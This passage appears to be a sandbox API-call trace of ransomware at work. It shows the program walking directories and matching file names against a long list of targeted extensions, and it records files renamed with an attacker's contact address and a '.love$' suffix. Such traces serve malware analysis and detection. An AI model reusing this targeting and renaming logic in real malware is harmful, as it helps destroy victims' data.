[0096.199] lstrcmpiW (lpString1=".emf", lpString2=".xml") returned -1 [0096.199] lstrlenW (lpString=".emz") returned 4 [0096.199] lstrcmpiW (lpString1=".emz", lpString2=".xml") returned -1 [0096.199] lstrlenW (lpString=".epf") returned 4 [0096.199] lstrcmpiW (lpString1=".epf", lpString2=".xml") returned -1 [0096.199] lstrlenW (lpString=".eps") returned 4 [0096.199] lstrcmpiW (lpString1=".eps", lpString2=".xml") returned -1 [0096.199] lstrlenW (lpString=".epsf") returned 5 [0096.199] lstrcmpiW (lpString1=".epsf", lpString2="a.xml") returned -1 [0096.199] lstrlenW (lpString=".epsp") returned 5 [0096.199] lstrcmpiW (lpString1=".epsp", lpString2="a.xml") returned -1 [0096.199] lstrlenW (lpString=".erf") returned 4 [0096.199] lstrcmpiW (lpString1=".erf", lpString2=".xml") returned -1 [0096.199] lstrlenW (lpString=".exr") returned 4 [0096.199] lstrcmpiW (lpString1=".exr", lpString2=".xml") returned -1 [0096.199] lstrlenW (lpString=".f4v") returned 4 [0096.199] lstrcmpiW (lpString1=".f4v", lpString2=".xml") returned -1 [0096.199] lstrlenW (lpString=".fido") returned 5 [0096.199] lstrcmpiW (lpString1=".fido", lpString2="a.xml") returned -1 [0096.199] lstrlenW (lpString=".flm") returned 4 [0096.199] lstrcmpiW (lpString1=".flm", lpString2=".xml") returned -1 [0096.199] lstrlenW (lpString=".flv") returned 4 [0096.199] lstrcmpiW (lpString1=".flv", lpString2=".xml") returned -1 [0096.200] lstrlenW (lpString=".frm") returned 4 [0096.200] lstrcmpiW (lpString1=".frm", lpString2=".xml") returned -1 [0096.200] lstrlenW (lpString=".fxg") returned 4 [0096.200] lstrcmpiW (lpString1=".fxg", lpString2=".xml") returned -1 [0096.200] lstrlenW (lpString=".geo") returned 4 [0096.200] lstrcmpiW (lpString1=".geo", lpString2=".xml") returned -1 [0096.200] lstrlenW (lpString=".gif") returned 4 [0096.200] lstrcmpiW (lpString1=".gif", lpString2=".xml") returned -1 [0096.200] lstrlenW (lpString=".grs") returned 4 [0096.200] lstrcmpiW (lpString1=".grs", lpString2=".xml") returned -1 [0096.200] lstrlenW (lpString=".gz") returned 3 [0096.200] lstrcmpiW (lpString1=".gz", lpString2="xml") returned -1 [0096.200] lstrlenW (lpString=".h") returned 2 [0096.200] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1 [0096.200] lstrlenW (lpString=".hdr") returned 4 [0096.200] lstrcmpiW (lpString1=".hdr", lpString2=".xml") returned -1 [0096.200] lstrlenW (lpString=".hpp") returned 4 [0096.200] lstrcmpiW (lpString1=".hpp", lpString2=".xml") returned -1 [0096.200] lstrlenW (lpString=".hta") returned 4 [0096.200] lstrcmpiW (lpString1=".hta", lpString2=".xml") returned -1 [0096.200] lstrlenW (lpString=".htc") returned 4 [0096.200] lstrcmpiW (lpString1=".htc", lpString2=".xml") returned -1 [0096.200] lstrlenW (lpString=".htm") returned 4 [0096.200] lstrcmpiW (lpString1=".htm", lpString2=".xml") returned -1 [0096.200] lstrlenW (lpString=".html") returned 5 [0096.200] lstrcmpiW (lpString1=".html", lpString2="a.xml") returned -1 [0096.200] lstrlenW (lpString=".icb") returned 4 [0096.200] lstrcmpiW (lpString1=".icb", lpString2=".xml") returned -1 [0096.200] lstrlenW (lpString=".ics") returned 4 [0096.201] lstrcmpiW (lpString1=".ics", lpString2=".xml") returned -1 [0096.201] lstrlenW (lpString=".iff") returned 4 [0096.201] lstrcmpiW (lpString1=".iff", lpString2=".xml") returned -1 [0096.201] lstrlenW (lpString=".inc") returned 4 [0096.201] lstrcmpiW (lpString1=".inc", lpString2=".xml") returned -1 [0096.201] lstrlenW (lpString=".indd") returned 5 [0096.201] lstrcmpiW (lpString1=".indd", lpString2="a.xml") returned -1 [0096.201] lstrlenW (lpString=".ini") returned 4 [0096.201] lstrcmpiW (lpString1=".ini", lpString2=".xml") returned -1 [0096.201] lstrlenW (lpString=".iqy") returned 4 [0096.201] lstrcmpiW (lpString1=".iqy", lpString2=".xml") returned -1 [0096.201] lstrlenW (lpString=".j2c") returned 4 [0096.201] lstrcmpiW (lpString1=".j2c", lpString2=".xml") returned -1 [0096.201] lstrlenW (lpString=".j2k") returned 4 [0096.201] lstrcmpiW (lpString1=".j2k", lpString2=".xml") returned -1 [0096.201] lstrlenW (lpString=".java") returned 5 [0096.201] lstrcmpiW (lpString1=".java", lpString2="a.xml") returned -1 [0096.201] lstrlenW (lpString=".jp2") returned 4 [0096.201] lstrcmpiW (lpString1=".jp2", lpString2=".xml") returned -1 [0096.202] lstrlenW (lpString=".jpc") returned 4 [0096.202] lstrcmpiW (lpString1=".jpc", lpString2=".xml") returned -1 [0096.202] lstrlenW (lpString=".jpe") returned 4 [0096.202] lstrcmpiW (lpString1=".jpe", lpString2=".xml") returned -1 [0096.202] lstrlenW (lpString=".jpeg") returned 5 [0096.202] lstrcmpiW (lpString1=".jpeg", lpString2="a.xml") returned -1 [0096.202] lstrlenW (lpString=".jpf") returned 4 [0096.202] lstrcmpiW (lpString1=".jpf", lpString2=".xml") returned -1 [0096.202] lstrlenW (lpString=".jpg") returned 4 [0096.202] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0096.202] lstrlenW (lpString=".jpx") returned 4 [0096.202] lstrcmpiW (lpString1=".jpx", lpString2=".xml") returned -1 [0096.202] lstrlenW (lpString=".js") returned 3 [0096.202] FindNextFileW (in: hFindFile=0x3e50700, lpFindFileData=0x349f800 | out: lpFindFileData=0x349f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa438f74a, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa438f74a, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa444e4e0, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x4458, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPR~1.LOV")) returned 1 [0096.202] lstrlenW (lpString="SetupResources.dll.id-B4197730.[im.online@aol.com].love$") returned 56 [0096.202] lstrlenW (lpString=".1cd") returned 4 [0096.202] FindNextFileW (in: hFindFile=0x3e50700, lpFindFileData=0x349f800 | out: lpFindFileData=0x349f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa438f74a, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa438f74a, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa444e4e0, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x4458, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPR~1.LOV")) returned 0 [0096.202] FindClose (in: hFindFile=0x3e50700 | out: hFindFile=0x3e50700) returned 1 [0096.203] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x38c1270 | out: hHeap=0x4b0000) returned 1 [0096.203] FindNextFileW (in: hFindFile=0x3e50580, lpFindFileData=0x349fa7c | out: lpFindFileData=0x349fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1028", cAlternateFileName="")) returned 1 [0096.203] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028") returned 26 [0096.203] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\588bce7c90097ed212\\1028") returned 1 [0096.203] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x38c1270 [0096.203] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1028\\*", lpFindFileData=0x349f800 | out: lpFindFileData=0x349f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xa5384b00, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3e50380 [0096.203] FindNextFileW (in: hFindFile=0x3e50380, lpFindFileData=0x349f800 | out: lpFindFileData=0x349f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xa5384b00, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.203] FindNextFileW (in: hFindFile=0x3e50380, lpFindFileData=0x349f800 | out: lpFindFileData=0x349f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x18a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0096.203] FindNextFileW (in: hFindFile=0x3e50380, lpFindFileData=0x349f800 | out: lpFindFileData=0x349f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xed90, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0096.204] FindNextFileW (in: hFindFile=0x3e50380, lpFindFileData=0x349f800 | out: lpFindFileData=0x349f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa535af60, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa535af60, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa5384b00, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPR~1.LOV")) returned 1 [0096.204] FindNextFileW (in: hFindFile=0x3e50380, lpFindFileData=0x349f800 | out: lpFindFileData=0x349f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa535af60, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa535af60, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa5384b00, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPR~1.LOV")) returned 0 [0096.204] FindClose (in: hFindFile=0x3e50380 | out: hFindFile=0x3e50380) returned 1 [0096.204] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x38c1270 | out: hHeap=0x4b0000) returned 1 [0096.204] FindNextFileW (in: hFindFile=0x3e50580, lpFindFileData=0x349fa7c | out: lpFindFileData=0x349fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1029", cAlternateFileName="")) returned 1 [0096.204] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029") returned 26 [0096.204] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\588bce7c90097ed212\\1029") returned 1 [0096.204] lstrlenW (lpString="1029") returned 4 [0096.204] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="1029") returned 1 [0096.204] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x38c1270 [0096.204] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029") returned 26 [0096.204] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1029\\*", lpFindFileData=0x349f800 | out: lpFindFileData=0x349f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xa5443a8f, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3e50640 [0096.205] FindNextFileW (in: hFindFile=0x3e50640, lpFindFileData=0x349f800 | out: lpFindFileData=0x349f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xa5443a8f, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.205] FindNextFileW (in: hFindFile=0x3e50640, lpFindFileData=0x349f800 | out: lpFindFileData=0x349f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0096.205] lstrlenW (lpString="eula.rtf") returned 8 [0096.205] lstrlenW (lpString=".1cd") returned 4 [0096.205] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0096.205] lstrlenW (lpString=".3ds") returned 4 [0096.205] lstrcmpiW (lpString1=".3ds", lpString2=".rtf") returned -1 [0096.205] lstrlenW (lpString=".3fr") returned 4 [0096.205] lstrcmpiW (lpString1=".3fr", lpString2=".rtf") returned -1 [0096.205] lstrlenW (lpString=".3g2") returned 4 [0096.205] lstrcmpiW (lpString1=".3g2", lpString2=".rtf") returned -1 [0096.205] lstrlenW (lpString=".3gp") returned 4 [0096.205] lstrcmpiW (lpString1=".3gp", lpString2=".rtf") returned -1 [0096.205] lstrlenW (lpString=".7z") returned 3 [0096.205] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0096.205] lstrlenW (lpString=".accda") returned 6 [0096.205] lstrcmpiW (lpString1=".accda", lpString2="la.rtf") returned -1 [0096.205] lstrlenW (lpString=".accdb") returned 6 [0096.205] lstrcmpiW (lpString1=".accdb", lpString2="la.rtf") returned -1 [0096.205] lstrlenW (lpString=".accdc") returned 6 [0096.205] lstrcmpiW (lpString1=".accdc", lpString2="la.rtf") returned -1 [0096.205] lstrlenW (lpString=".accde") returned 6 [0096.205] lstrcmpiW (lpString1=".accde", lpString2="la.rtf") returned -1 [0096.205] lstrlenW (lpString=".accdt") returned 6 [0096.205] lstrcmpiW (lpString1=".accdt", lpString2="la.rtf") returned -1 [0096.206] lstrlenW (lpString=".accdw") returned 6 [0096.206] lstrcmpiW (lpString1=".accdw", lpString2="la.rtf") returned -1 [0096.206] lstrlenW (lpString=".adb") returned 4 [0096.206] lstrcmpiW (lpString1=".adb", lpString2=".rtf") returned -1 [0096.206] lstrlenW (lpString=".adp") returned 4 [0096.206] lstrcmpiW (lpString1=".adp", lpString2=".rtf") returned -1 [0096.206] lstrlenW (lpString=".ai") returned 3 [0096.206] lstrcmpiW (lpString1=".ai", lpString2="rtf") returned -1 [0096.206] lstrlenW (lpString=".ai3") returned 4 [0096.206] lstrcmpiW (lpString1=".ai3", lpString2=".rtf") returned -1 [0096.206] lstrlenW (lpString=".ai4") returned 4 [0096.206] lstrcmpiW (lpString1=".ai4", lpString2=".rtf") returned -1 [0096.206] lstrlenW (lpString=".ai5") returned 4 [0096.206] lstrcmpiW (lpString1=".ai5", lpString2=".rtf") returned -1 [0096.206] lstrlenW (lpString=".ai6") returned 4 [0096.206] lstrcmpiW (lpString1=".ai6", lpString2=".rtf") returned -1 [0096.206] lstrlenW (lpString=".ai7") returned 4 [0096.206] lstrcmpiW (lpString1=".ai7", lpString2=".rtf") returned -1 [0096.206] lstrlenW (lpString=".ai8") returned 4 [0096.206] lstrcmpiW (lpString1=".ai8", lpString2=".rtf") returned -1 [0096.206] lstrlenW (lpString=".anim") returned 5 [0096.206] lstrcmpiW (lpString1=".anim", lpString2="a.rtf") returned -1 [0096.206] lstrlenW (lpString=".arw") returned 4 [0096.206] lstrcmpiW (lpString1=".arw", lpString2=".rtf") returned -1 [0096.206] lstrlenW (lpString=".as") returned 3 [0096.206] lstrcmpiW (lpString1=".as", lpString2="rtf") returned -1 [0096.206] lstrlenW (lpString=".asa") returned 4 [0096.206] lstrcmpiW (lpString1=".asa", lpString2=".rtf") returned -1 [0096.206] lstrlenW (lpString=".asc") returned 4 [0096.207] lstrcmpiW (lpString1=".asc", lpString2=".rtf") returned -1 [0096.207] lstrlenW (lpString=".ascx") returned 5 [0096.207] lstrcmpiW (lpString1=".ascx", lpString2="a.rtf") returned -1 [0096.207] lstrlenW (lpString=".asm") returned 4 [0096.207] lstrcmpiW (lpString1=".asm", lpString2=".rtf") returned -1 [0096.207] lstrlenW (lpString=".asmx") returned 5 [0096.207] lstrcmpiW (lpString1=".asmx", lpString2="a.rtf") returned -1 [0096.207] lstrlenW (lpString=".asp") returned 4 [0096.207] lstrcmpiW (lpString1=".asp", lpString2=".rtf") returned -1 [0096.207] lstrlenW (lpString=".aspx") returned 5 [0096.207] lstrcmpiW (lpString1=".aspx", lpString2="a.rtf") returned -1 [0096.207] lstrlenW (lpString=".asr") returned 4 [0096.207] lstrcmpiW (lpString1=".asr", lpString2=".rtf") returned -1 [0096.207] lstrlenW (lpString=".asx") returned 4 [0096.207] lstrcmpiW (lpString1=".asx", lpString2=".rtf") returned -1 [0096.207] lstrlenW (lpString=".avi") returned 4 [0096.207] lstrcmpiW (lpString1=".avi", lpString2=".rtf") returned -1 [0096.207] lstrlenW (lpString=".avs") returned 4 [0096.207] lstrcmpiW (lpString1=".avs", lpString2=".rtf") returned -1 [0096.207] lstrlenW (lpString=".backup") returned 7 [0096.207] lstrcmpiW (lpString1=".backup", lpString2="ula.rtf") returned -1 [0096.207] lstrlenW (lpString=".bak") returned 4 [0096.207] lstrcmpiW (lpString1=".bak", lpString2=".rtf") returned -1 [0096.207] lstrlenW (lpString=".bay") returned 4 [0096.207] lstrcmpiW (lpString1=".bay", lpString2=".rtf") returned -1 [0096.207] lstrlenW (lpString=".bd") returned 3 [0096.207] lstrcmpiW (lpString1=".bd", lpString2="rtf") returned -1 [0096.207] lstrlenW (lpString=".bin") returned 4 [0096.207] lstrcmpiW (lpString1=".bin", lpString2=".rtf") returned -1 [0096.208] lstrlenW (lpString=".bmp") returned 4 [0096.208] lstrcmpiW (lpString1=".bmp", lpString2=".rtf") returned -1 [0096.208] lstrlenW (lpString=".bz2") returned 4 [0096.208] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0096.208] lstrlenW (lpString=".c") returned 2 [0096.208] lstrcmpiW (lpString1=".c", lpString2="tf") returned -1 [0096.208] lstrlenW (lpString=".cdr") returned 4 [0096.208] lstrcmpiW (lpString1=".cdr", lpString2=".rtf") returned -1 [0096.208] lstrlenW (lpString=".cer") returned 4 [0096.208] lstrcmpiW (lpString1=".cer", lpString2=".rtf") returned -1 [0096.208] lstrlenW (lpString=".cf") returned 3 [0096.208] lstrcmpiW (lpString1=".cf", lpString2="rtf") returned -1 [0096.208] lstrlenW (lpString=".cfc") returned 4 [0096.208] lstrcmpiW (lpString1=".cfc", lpString2=".rtf") returned -1 [0096.208] lstrlenW (lpString=".cfm") returned 4 [0096.208] lstrcmpiW (lpString1=".cfm", lpString2=".rtf") returned -1 [0096.208] lstrlenW (lpString=".cfml") returned 5 [0096.208] lstrcmpiW (lpString1=".cfml", lpString2="a.rtf") returned -1 [0096.208] lstrlenW (lpString=".cfu") returned 4 [0096.208] lstrcmpiW (lpString1=".cfu", lpString2=".rtf") returned -1 [0096.208] lstrlenW (lpString=".chm") returned 4 [0096.208] lstrcmpiW (lpString1=".chm", lpString2=".rtf") returned -1 [0096.208] lstrlenW (lpString=".cin") returned 4 [0096.208] lstrcmpiW (lpString1=".cin", lpString2=".rtf") returned -1 [0096.208] lstrlenW (lpString=".class") returned 6 [0096.208] lstrcmpiW (lpString1=".class", lpString2="la.rtf") returned -1 [0096.208] lstrlenW (lpString=".clx") returned 4 [0096.208] lstrcmpiW (lpString1=".clx", lpString2=".rtf") returned -1 [0096.208] lstrlenW (lpString=".config") returned 7 [0096.208] lstrcmpiW (lpString1=".config", lpString2="ula.rtf") returned -1 [0096.208] lstrlenW (lpString=".cpp") returned 4 [0096.208] lstrcmpiW (lpString1=".cpp", lpString2=".rtf") returned -1 [0096.208] lstrlenW (lpString=".cr2") returned 4 [0096.208] lstrcmpiW (lpString1=".cr2", lpString2=".rtf") returned -1 [0096.208] lstrlenW (lpString=".crt") returned 4 [0096.208] lstrcmpiW (lpString1=".crt", lpString2=".rtf") returned -1 [0096.209] lstrlenW (lpString=".crw") returned 4 [0096.209] lstrcmpiW (lpString1=".crw", lpString2=".rtf") returned -1 [0096.209] lstrlenW (lpString=".cs") returned 3 [0096.209] lstrcmpiW (lpString1=".cs", lpString2="rtf") returned -1 [0096.209] lstrlenW (lpString=".css") returned 4 [0096.209] lstrcmpiW (lpString1=".css", lpString2=".rtf") returned -1 [0096.209] lstrlenW (lpString=".csv") returned 4 [0096.209] lstrcmpiW (lpString1=".csv", lpString2=".rtf") returned -1 [0096.209] lstrlenW (lpString=".cub") returned 4 [0096.209] lstrcmpiW (lpString1=".cub", lpString2=".rtf") returned -1 [0096.209] lstrlenW (lpString=".dae") returned 4 [0096.209] lstrcmpiW (lpString1=".dae", lpString2=".rtf") returned -1 [0096.209] lstrlenW (lpString=".dat") returned 4 [0096.209] lstrcmpiW (lpString1=".dat", lpString2=".rtf") returned -1 [0096.209] lstrlenW (lpString=".db") returned 3 [0096.209] lstrcmpiW (lpString1=".db", lpString2="rtf") returned -1 [0096.209] lstrlenW (lpString=".dbf") returned 4 [0096.209] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0096.209] lstrlenW (lpString=".dbx") returned 4 [0096.209] lstrcmpiW (lpString1=".dbx", lpString2=".rtf") returned -1 [0096.209] lstrlenW (lpString=".dc3") returned 4 [0096.209] lstrcmpiW (lpString1=".dc3", lpString2=".rtf") returned -1 [0096.209] lstrlenW (lpString=".dcm") returned 4 [0096.209] lstrcmpiW (lpString1=".dcm", lpString2=".rtf") returned -1 [0096.209] lstrlenW (lpString=".dcr") returned 4 [0096.209] lstrcmpiW (lpString1=".dcr", lpString2=".rtf") returned -1 [0096.209] lstrlenW (lpString=".der") returned 4 [0096.209] lstrcmpiW (lpString1=".der", lpString2=".rtf") returned -1 [0096.209] lstrlenW (lpString=".dib") returned 4 [0096.209] lstrcmpiW (lpString1=".dib", lpString2=".rtf") returned -1 [0096.209] lstrlenW (lpString=".dic") returned 4 [0096.209] lstrcmpiW (lpString1=".dic", lpString2=".rtf") returned -1 [0096.209] lstrlenW (lpString=".dif") returned 4 [0096.209] lstrcmpiW (lpString1=".dif", lpString2=".rtf") returned -1 [0096.209] lstrlenW (lpString=".divx") returned 5 [0096.209] lstrcmpiW (lpString1=".divx", lpString2="a.rtf") returned -1 [0096.209] lstrlenW (lpString=".djvu") returned 5 [0096.210] lstrcmpiW (lpString1=".djvu", lpString2="a.rtf") returned -1 [0096.210] lstrlenW (lpString=".dng") returned 4 [0096.210] lstrcmpiW (lpString1=".dng", lpString2=".rtf") returned -1 [0096.210] lstrlenW (lpString=".doc") returned 4 [0096.210] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0096.210] lstrlenW (lpString=".docm") returned 5 [0096.210] lstrcmpiW (lpString1=".docm", lpString2="a.rtf") returned -1 [0096.210] lstrlenW (lpString=".docx") returned 5 [0096.210] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0096.210] lstrlenW (lpString=".dot") returned 4 [0096.210] lstrcmpiW (lpString1=".dot", lpString2=".rtf") returned -1 [0096.210] lstrlenW (lpString=".dotm") returned 5 [0096.210] lstrcmpiW (lpString1=".dotm", lpString2="a.rtf") returned -1 [0096.210] lstrlenW (lpString=".dotx") returned 5 [0096.210] lstrcmpiW (lpString1=".dotx", lpString2="a.rtf") returned -1 [0096.210] lstrlenW (lpString=".dpx") returned 4 [0096.210] lstrcmpiW (lpString1=".dpx", lpString2=".rtf") returned -1 [0096.210] lstrlenW (lpString=".dqy") returned 4 [0096.210] lstrcmpiW (lpString1=".dqy", lpString2=".rtf") returned -1 [0096.210] lstrlenW (lpString=".dsn") returned 4 [0096.210] lstrcmpiW (lpString1=".dsn", lpString2=".rtf") returned -1 [0096.210] lstrlenW (lpString=".dt") returned 3 [0096.210] lstrcmpiW (lpString1=".dt", lpString2="rtf") returned -1 [0096.210] lstrlenW (lpString=".dtd") returned 4 [0096.210] lstrcmpiW (lpString1=".dtd", lpString2=".rtf") returned -1 [0096.210] lstrlenW (lpString=".dwg") returned 4 [0096.210] lstrcmpiW (lpString1=".dwg", lpString2=".rtf") returned -1 [0096.210] lstrlenW (lpString=".dwt") returned 4 [0096.210] lstrcmpiW (lpString1=".dwt", lpString2=".rtf") returned -1 [0096.210] lstrlenW (lpString=".dx") returned 3 [0096.210] lstrcmpiW (lpString1=".dx", lpString2="rtf") returned -1 [0096.210] lstrlenW (lpString=".dxf") returned 4 [0096.210] lstrcmpiW (lpString1=".dxf", lpString2=".rtf") returned -1 [0096.210] lstrlenW (lpString=".edml") returned 5 [0096.210] lstrcmpiW (lpString1=".edml", lpString2="a.rtf") returned -1 [0096.210] lstrlenW (lpString=".efd") returned 4 [0096.210] lstrcmpiW (lpString1=".efd", lpString2=".rtf") returned -1 [0096.211] lstrlenW (lpString=".elf") returned 4 [0096.211] lstrcmpiW (lpString1=".elf", lpString2=".rtf") returned -1 [0096.211] lstrlenW (lpString=".emf") returned 4 [0096.211] lstrcmpiW (lpString1=".emf", lpString2=".rtf") returned -1 [0096.211] lstrlenW (lpString=".emz") returned 4 [0096.211] lstrcmpiW (lpString1=".emz", lpString2=".rtf") returned -1 [0096.211] lstrlenW (lpString=".epf") returned 4 [0096.211] lstrcmpiW (lpString1=".epf", lpString2=".rtf") returned -1 [0096.211] lstrlenW (lpString=".eps") returned 4 [0096.211] lstrcmpiW (lpString1=".eps", lpString2=".rtf") returned -1 [0096.211] lstrlenW (lpString=".epsf") returned 5 [0096.211] lstrcmpiW (lpString1=".epsf", lpString2="a.rtf") returned -1 [0096.211] lstrlenW (lpString=".epsp") returned 5 [0096.211] lstrcmpiW (lpString1=".epsp", lpString2="a.rtf") returned -1 [0096.211] lstrlenW (lpString=".erf") returned 4 [0096.211] lstrcmpiW (lpString1=".erf", lpString2=".rtf") returned -1 [0096.211] lstrlenW (lpString=".exr") returned 4 [0096.211] lstrcmpiW (lpString1=".exr", lpString2=".rtf") returned -1 [0096.211] lstrlenW (lpString=".f4v") returned 4 [0096.211] lstrcmpiW (lpString1=".f4v", lpString2=".rtf") returned -1 [0096.211] lstrlenW (lpString=".fido") returned 5 [0096.211] lstrcmpiW (lpString1=".fido", lpString2="a.rtf") returned -1 [0096.211] lstrlenW (lpString=".flm") returned 4 [0096.211] lstrcmpiW (lpString1=".flm", lpString2=".rtf") returned -1 [0096.211] lstrlenW (lpString=".flv") returned 4 [0096.211] lstrcmpiW (lpString1=".flv", lpString2=".rtf") returned -1 [0096.211] lstrlenW (lpString=".frm") returned 4 [0096.211] lstrcmpiW (lpString1=".frm", lpString2=".rtf") returned -1 [0096.211] lstrlenW (lpString=".fxg") returned 4 [0096.211] lstrcmpiW (lpString1=".fxg", lpString2=".rtf") returned -1 [0096.211] lstrlenW (lpString=".geo") returned 4 [0096.211] lstrcmpiW (lpString1=".geo", lpString2=".rtf") returned 